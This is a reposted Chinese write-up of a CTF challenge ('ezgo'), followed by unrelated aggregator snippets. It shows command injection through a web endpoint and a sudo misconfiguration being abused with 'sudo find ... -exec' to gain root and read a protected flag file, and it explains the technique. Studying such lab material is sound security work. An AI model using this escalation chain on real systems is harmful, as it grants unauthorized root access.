SUDO提权

news/2025/9/22 21:38:57/文章来源:https://www.cnblogs.com/F07on3/p/19106091

Sudo 提权

向大佬致敬,太厉害了,四个月全勤,估计是写完题顺带写了wp

image-20250922212920305

[HZNUCTF 2023 final]ezgo

解题思路

Please POST 'shit' to /cmd

初始页面提示,post传参shit到/cmd路由

执行 shit=ls

"ls": executable file not found in $PATH
  • 系统默认的 $PATH 环境变量配置异常,无法直接找到 ls 等常用命令;
  • 必须使用绝对路径(如 /bin/ls)才能执行命令。

执行 shit=echo /bin/* 列出 /bin 目录下的所有可执行文件

/bin/bash /bin/cat /bin/chgrp /bin/chmod /bin/chown /bin/cp /bin/dash /bin/date /bin/dd /bin/df /bin/dir /bin/dmesg /bin/dnsdomainname /bin/domainname /bin/echo /bin/egrep /bin/false /bin/fgrep /bin/findmnt /bin/grep /bin/gunzip /bin/gzexe /bin/gzip /bin/hostname /bin/ln /bin/login /bin/ls /bin/lsblk /bin/mkdir /bin/mknod /bin/mktemp /bin/more /bin/mount /bin/mountpoint /bin/mv /bin/nisdomainname /bin/pidof /bin/pwd /bin/rbash /bin/readlink /bin/rm /bin/rmdir /bin/run-parts /bin/sed /bin/sh /bin/sleep /bin/stty /bin/su /bin/sync /bin/tar /bin/tempfile /bin/touch /bin/true /bin/umount /bin/uname /bin/uncompress /bin/vdir /bin/wdctl /bin/ypdomainname /bin/zcat /bin/zcmp /bin/zdiff /bin/zegrep /bin/zfgrep /bin/zforce /bin/zgrep /bin/zless /bin/zmore /bin/znew

通过/bin/bash -c "ls -l"查看根目录(通过bash -c执行复杂命令),发现/flag文件(权限为 400,仅 root 可读)

total 11300
drwxr-xr-x   2 root root     4096 Mar 20  2023 bin
drwxr-xr-x   2 root root     4096 Dec  9  2022 boot
drwxr-xr-x   5 root root      340 Sep 22 11:47 dev
drwxr-xr-x   1 root root     4096 Sep 22 11:47 etc
-r--------   1 root root       45 Sep 22 11:47 flag
drwxr-xr-x   2 root root     4096 Dec  9  2022 home
...
-rwxr-xr-x   1 root root      181 Apr  3  2023 start.sh

读取start.sh脚本,获取系统配置细节:

  • flag 被写入/flag并设置了严格权限
  • 创建了ctf用户
  • 配置了 sudo 规则:允许 ctf 用户免密以 root 身份执行/usr/bin/find
#! /bin/bashecho $FLAG > /flag
chmod 400 /flag
useradd ctf
echo "ctf ALL=(root) NOPASSWD: /usr/bin/find" > /etc/sudoers.d/ctf && chmod 0440 /etc/sudoers.d/ctfsu - ctf -c "/main"

sudo -l验证权限配置

执行shit=/bin/bash -c "sudo -l",得到关键输出:

(root) NOPASSWD: /usr/bin/find:当前用户可免密码root 身份执行 /usr/bin/find 命令。

这是整个提权的核心漏洞点:find 命令可通过 -exec 参数执行其他命令,且继承 sudoroot 权限。

Matching Defaults entries for ctf on 7404fc8b50be4421:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser ctf may run the following commands on 7404fc8b50be4421:(root) NOPASSWD: /usr/bin/find

执行 shit=/bin/bash -c "sudo find /flag -exec id \;"

  • sudo find /flag:以 root 身份查找 /flag 文件;
  • -exec id \;:找到文件后执行 id 命令,输出 uid=0(root),确认已获得 root 权限。
uid=0(root) gid=0(root) groups=0(root)

执行sudo find /flag -exec cat flag \;,以 root 权限读取/flag内容

NSSCTF{042deeef-b178-40a7-bc9f-6ab66b11f5a2}

知识点提取

$PATH 环境变量机制:

  • Linux 执行命令时会默认在 $PATH 定义的目录列表中搜索可执行文件,若配置异常(如未包含 /bin/usr/bin),直接输入命令(如 ls)会提示 “executable file not found”。
  • 绕过方案:使用绝对路径(如 /bin/ls/bin/bash)直接指定命令位置,不受 $PATH 配置影响。

环境信息收集技巧

通过 echo /bin/* 等通配符命令可快速列出目标目录下的可执行文件,确认系统中可用的核心工具(如 bashcatsudo

Sudo 权限管理与漏洞点识别

  1. sudo 核心作用:允许普通用户临时以其他用户(默认 root)身份执行命令,权限范围由 /etc/sudoers/etc/sudoers.d/ 下的配置文件定义。

  2. sudo 权限探测命令sudo -l 可列出当前用户的 sudo 权限范围,无需实际执行高权限命令即可获取权限边界,是渗透测试中权限探测的 “黄金命令”。

  3. 关键漏洞点:sudo 过度授权:

    配置 ctf ALL=(root) NOPASSWD: /usr/bin/find 属于典型的 “过度授权” 漏洞:允许普通用户 ctf 以 root 身份免密执行 find 命令。

Sudo + find 提权原理与实践

  1. find 命令的特殊参数:-execfind 命令的 -exec 参数支持在找到符合条件的文件后,额外执行指定命令,语法为 find [目标路径/文件] -exec [待执行命令] \;\; 是参数结束标志)。
  2. 提权核心逻辑:当 find 通过 sudo 以 root 身份运行时,-exec 后续的命令会继承 root 权限,实现 “普通用户→sudo 调用 find→root 权限执行任意命令” 的提权链。
  3. 提权验证与利用流程:
    • 权限验证:通过 sudo find /flag -exec id \; 执行 id 命令,若输出 uid=0(root),则确认提权成功。
    • 目标达成:通过 sudo find /flag -exec cat /flag \; 调用 cat 命令读取 root 权限的 /flag 文件,获取最终目标。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/910459.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025.9.19 总结

这一场太逆天了,全靠部分分拿长郡榜二。 T1 逆序对这个东西很好搞,你只需要从前往后加就行了,然后你发现一个数只会和他最前面比它大的数产生贡献。 因为他前面比他大的数前面可能会有比它还大的,但是这样显然这个…

可以上传自己做的视频的网站吗网站建设公司星海网络

[TOC]为什么要有相对跳转和绝对跳转?顺序执行:指令一条一条按照顺序往下执行,比如变量的定义和赋值都是按照顺序执行的。跳转执行:当指令执行到当前位置后跳转到其他位置执行。比如,在主函数中调用其他函数就是典型的跳…

南京哪个网站做物业贷vue.js做静态网站

🏆作者:科技、互联网行业优质创作者 🏆专注领域:.Net技术、软件架构、人工智能、数字化转型、DeveloperSharp、微服务、工业互联网、智能制造 🏆欢迎关注我(Net数字智慧化基地),里面…

国外儿童社区网站模板网站建设的费用

演示站点: https://ai.uaai.cn 对话模块 官方论坛: www.jingyuai.com 京娱AI 一、AI技术创业在线辅导业务有哪些机会? 人工智能(AI)技术作为当今科技创新的前沿领域,为创业者提供了广阔的机会和挑战。随着…

东莞网站建设做网站dw可以做视频网站么

原文地址:http://www.goodfav.com/zh/app-development-tutorials-3559.html 移动应用程序开发是大企业和创意的个人和小团队开发,是一个有很多商业机会的领域之一。它可能需要多次尝试设计来实施一个出类拔萃的应用程序,但是,如果…

自媒体图片素材网站系统开发过程

我试图从Mathematica中获取一张图片.我尝试评估一些使用包中的方法生成图形的Mathematica代码.如果我将代码粘贴到Mathematica Notebook,则会正确生成图形.所以我的问题:如何将这些图形转换为Java ???这是我的示例代码:ml MathLinkFactory.createKer…

阿里云做的网站怎么样宁波网站建设公司哪里有

在Vue中,防抖和节流是两种常用的优化技术,用于限制事件的触发频率,以提高页面性能。 防抖(Debounce)是指在事件被触发后,等待一段时间后再执行回调函数。如果在这段等待时间内,事件又被触发&am…

建立一个网站大约要多少钱个人工作室和公司区别

前言 在上一篇文章中我们介绍了在计算机底层视角下的虚拟内存和操作系统在用户层所进行的各个分层,在这篇文章我们就要开始尝试书写多线程代码了,其实在c11后c就提供供了线程类给我们使用,c线程类其实主要是对c操作多线程的函数进行了封装,本质上其实是…

详细介绍:无公网 IP 访问群晖 NAS:神卓 N600 的安全解决方案(附其他方法风险对比)

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

网站开发与设计结课大作业汽车可以做哪些广告视频网站

一、命名空间概念1、命名空间(name space)名称空间是存放名字的地方。若变量x1,1存放在内存中,命名空间是存放名字x、x与1绑定关系的地方。2、名称空间加载顺序python test.py#1、python解释器先启动,因而首先加载的是:内置名称空…

2025.9.18 总结

T1 就是有一个 dp 是 f i 0/1 0/1 表示有 i 个数,异或和是不是 0,异或和是不是等于最后一个数,然后矩阵加速就没了。 T2 会发现这个东西你可以贪心维护,每次能阔就阔不能阔就退出。然后判一下相邻两个颜色块之间的…

越南文识别技术:将纸质文档和信息快速、准确地转化为可编辑、可检索的数字数据

在数字化浪潮席卷全球的今天,如何将海量的纸质文档和信息快速、准确地转化为可编辑、可检索的数字数据,已成为一项关键挑战。光学字符识别(OCR)技术正是解决这一挑战的核心。作为OCR技术的一个重要分支,越南文识别…

#JAVA作业

1、什么样的方法应该用static修饰?不用static修饰的方法往往具有什么特性?Student的getName应该用static修饰吗? 答:用static修饰的方法多为工具类方法、工厂方法等不依赖对象状态的方法;不用static修饰的是实例方…

C#编程练习:使用队列存储消息,一次性存10条消息,每隔一段时间打印一条消息控制台打印消息时要有明显停顿感 - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

东莞网站建设企业做彩票网站犯法

1.1 屏蔽罩作用 1.1.1 屏蔽电子信号,防止外界的干扰或内部向外的辐射: 一般见于通信类电路PCB,主要一个无线通信产品上有的敏感器件、模拟、数字电路、DCDC电源电路,都需屏蔽隔离,是为了不影响其它电路,也有防止其它电…

天津河西做网站贵吗市场营销手段13种手段

RelativeLayout用到的一些重要的属性: 第一类:属性值为true或false android:layout_centerHrizontal 水平居中 android:layout_centerVertical 垂直居中 android:layout_centerInparent 相对于父元素完全居中 android:layout_alignParentBottom 贴紧父元素的下边…

中企动力中山分公司网站英文免费注册网站

bigKey的产生 1、使用String存储了大文件的二进制。 2、使用集合没有考虑到数据的规模,或者规模的增长。 3、哈希中冗余了大量键值对。 bigKey问题 1、操作大key时会阻塞线程:redis是单线程。 2、网络阻塞:在网络中占用大量网络流量。 …

建设网站租服务器腾讯企业邮箱怎么注册

近日,力软与重庆科技学院联合推出了为期两周的低代码应用开发培训课程,来自重庆科技学院相关专业的近百名师生参加了此次培训。 融合研学与实践,方能成为当代数字英才。本次培训全程采用线下模式,以“力软低代码平台”为软件开发…

绿色家园网站怎么做wordpress 密码更改

File: rust/compiler/rustc_target/src/spec/x86_64_unknown_netbsd.rs rust/compiler/rustc_target/src/spec/x86_64_unknown_netbsd.rs 文件是 Rust 编译器针对 x86_64-unknown-netbsd 目标平台的配置文件。该文件定义了与该平台相关的特性、链接选项、目标特定的运行时支持以…

wordpress制作网站教程视频企业网站建设一般要素

文章目录 Git概述什么是GitGit历史Git是什么 为什么要使用Git什么是版本控制系统 Git和SVN对比SVN集中式SVN优缺点 Git分布式Git优缺点 Git工作流程四个工作区域工作流程 Git下载与安装下载window版下载64位软件包安装Git Git基础环境配置设置用户信息查看配置信息 文件的两种状…